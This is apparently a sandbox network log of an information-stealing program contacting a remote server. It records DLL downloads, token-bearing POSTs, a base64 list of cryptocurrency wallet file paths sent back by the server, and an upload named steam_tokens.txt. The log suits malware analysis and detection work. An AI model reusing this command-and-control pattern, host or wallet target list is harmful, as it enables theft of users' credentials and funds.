Nov 28, 2024 11:05:28.149435043 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 28, 2024 11:05:28.149473906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 28, 2024 11:05:28.149486065 CET	448	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 28, 2024 11:05:28.149595976 CET	1236	IN	Data Raw: 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b 44 24 14 2c 01 73 42 8b 44 24 18 2c 01 73 40 8b 44 24 20 2c 01 89 44 24 Data Ascii: t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@mbD$HD$
Nov 28, 2024 11:05:28.149658918 CET	1236	IN	Data Raw: ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 Data Ascii: t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGH
Nov 28, 2024 11:05:28.149671078 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 28, 2024 11:05:28.149683952 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 28, 2024 11:05:28.149955988 CET	1236	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 28, 2024 11:05:28.149971962 CET	1236	IN	Data Raw: b6 d2 89 55 ec 89 4d c8 31 c9 8a 5d e8 8b 55 e0 89 7d e4 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 89 4d e8 8b 0c 0f 89 4d d4 89 ce 89 c1 d3 e6 09 d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f Data Ascii: UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMU
Nov 28, 2024 11:05:28.157968998 CET	1236	IN	Data Raw: a8 0f ac d6 10 89 75 88 8b 55 ec 01 f2 89 55 ec 8b 75 e0 11 c6 89 75 e0 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac 0f a4 c8 01 89 85 48 ff ff ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b Data Ascii: uUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E
Nov 28, 2024 11:05:28.158018112 CET	1236	IN	Data Raw: 8b 7d b4 03 bd 60 ff ff ff 8b 5d c8 13 9d 44 ff ff ff 01 f7 89 7d b4 11 c3 89 5d c8 31 da 89 d3 8b 4d 9c 31 f9 89 ca 0f a4 da 10 89 55 a0 0f ac d9 10 89 4d 9c 8b 5d e8 01 cb 89 5d e8 8b 7d c0 11 d7 89 7d c0 31 f8 31 de 89 c1 0f a4 f1 01 89 4d 88 Data Ascii: }`]D}]1M1UM]]}}11MpELMEE}MU1u1EE]]M11M]4M]11hUMMMM11
Nov 28, 2024 11:05:29.659610033 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 11:05:30.106025934 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 28, 2024 11:05:31.007858038 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 11:05:31.454735041 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 28, 2024 11:05:32.139308929 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 11:05:32.586080074 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 28, 2024 11:05:35.765520096 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 11:05:36.211870909 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 28, 2024 11:05:36.973787069 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 11:05:37.420356035 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 28, 2024 11:05:38.233793020 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 11:05:39.179620028 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 11:05:39.273407936 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="message"wallets------FCBAECGIEBKKFHIDAKEC--
Nov 28, 2024 11:05:39.723020077 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 28, 2024 11:05:39.734584093 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="message"files------FCFBGIDAEHCFIDGCBGII--
Nov 28, 2024 11:05:40.183362007 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 11:05:40.201659918 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file"------HDGIJJDGCBKFIDHIEBKE--
Nov 28, 2024 11:05:41.148653030 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
